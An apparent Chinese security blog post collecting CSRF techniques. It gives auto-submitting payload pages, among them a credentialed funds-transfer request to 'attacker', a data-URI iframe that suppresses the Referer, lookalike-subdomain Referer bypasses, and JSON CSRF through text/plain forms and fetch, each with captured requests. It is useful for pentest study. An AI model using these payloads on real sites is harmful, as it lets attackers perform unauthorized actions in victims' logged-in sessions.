csrf中的一些小tricks
文章最后更新时间为:2020年02月04日 20:27:33
csrf漏洞最常见,也比较简单,一般结合别的漏洞放大危害,这里简单整合一下断断续续的笔记片段。
1. csrf常用的payload
一般利用js构造http请求方便后续的网页跳转。
<html>
<body>
<script>
var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer", false);
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
try {
request.send("quantity=10&destination_username=attacker");
} catch (err) {
//Do nothing on inevitable XSS error
} finally {
window.location = "http://www.baidu.com";
}
</script>
</body>
</html>
2. csrf绕过refer的方法
2.1 允许refer为空绕过
利用ftp://,http://,https://,file://,javascript:,data:,如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。
比如利用data协议,构造如下html页面
<html>
<body>
<iframe src="data:text/html;base64,PGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPWh0dHA6Ly9hLmIuY29tL2Q+PGlucHV0IHR5cGU9dGV4dCBuYW1lPSdpZCcgdmFsdWU9JzEyMycvPjwvZm9ybT48c2NyaXB0PmRvY3VtZW50LmZvcm1zWzBdLnN1Ym1pdCgpOzwvc2NyaXB0Pg==">
</doby>
</html>
解码后为
<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>
访问该html,拦截到的请求包为(不带refer):
POST /d HTTP/1.1
Host: a.b.com
Content-Length: 6
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
id=123
或者https网站向http网站发起请求是默认不带refer头的,当在https界面嵌入如下form(像http网站发送请求):
<form method=post action=http://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>
拦截到的包为(不带refer头):
POST /d HTTP/1.1
Host: a.b.com
Content-Length: 6
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
id=123
当嵌入的form如下时(像https网站发送请求)
<form method=post action=https://a.b.com/d><input type=text name='id' value='123'/></form><script>document.forms[0].submit();</script>
拦截到的包为(带refer头):
POST /d HTTP/1.1
Host: a.b.com
Connection: close
Content-Length: 6
Cache-Control: max-age=0
Origin: https://saucer-man.com
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Sec-Fetch-Mode: navigate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Sec-Fetch-Site: cross-site
Referer: https://saucer-man.com/operation_and_maintenance/309.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
id=123
2.2 refer判断方法有误
refer如果不能正确判断根域名那么就有被绕过的风险,比如以下几种情况。
- 只判断是否包含某关键词
- 只判断是否以域名或者子域名绕过
- 基于正则匹配refer关键词可被绕过
对于第一种情况,如果服务器判断refer只要包含xxx.com即为合法请求,那么我只需要构造子域名xxx.com.hacker.com即可,或者将文件放置于xxx.com目录下面。
对于第二种情况,服务器判断refer是否以http://xxx.com,或者http://abc.xxx.com开头,那么也可以用子域名xxx.com.hacker.com绕过。
第三种情况,用正则匹配refer基本都有被绕过的风险。
3. 针对json的csrf攻击方法
Content-Type头设置为application/json的时候,游览器会自动向服务器发送OPTIONS预检请求来判断是否合法。
比如构造如下请求:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://xxx.com/a", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"serialNumber":"CYS1811291899"}));
}
submitRequest()
</script>
</body>
</html>
此时会首先发送如下请求包:
OPTIONS /a HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: null
Connection: close
如果不能得到服务端的许可,那么接下来的请求就无法发送,也就无法利用csrf。
3.1 后端只是检查格式不检查header
<html>
<body>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<form id="myform" enctype="text/plain" action="http://xxx.com/a" method="POST">
<input id="json" type="hidden" name='json' value=''>
</form>
<script>
$(document).ready(function() {
$("#json").attr("name",'{"name":"changenick6","ignore_me":"changenick"}');
$("#myform").submit();
})
</script>
</form>
</body>
</html>
发送的数据包为:
POST /a HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 50
Connection: close
Upgrade-Insecure-Requests: 1
{"name":"changenick6","ignore_me":"=changenick"}
或者利用feach发请求:
<html>
<body>
<script>
fetch('https://xxx.com/a', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"username":"test0001"}'});
</script>
</body>
</html>
结果:
POST /a HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Origin: null
Content-Length: 23
Connection: close
{"username":"test0001"}
3.2 后端会检查header
如果后端检查了Content-Type,那么就无能为力了,使用flash+307的方法基本失效了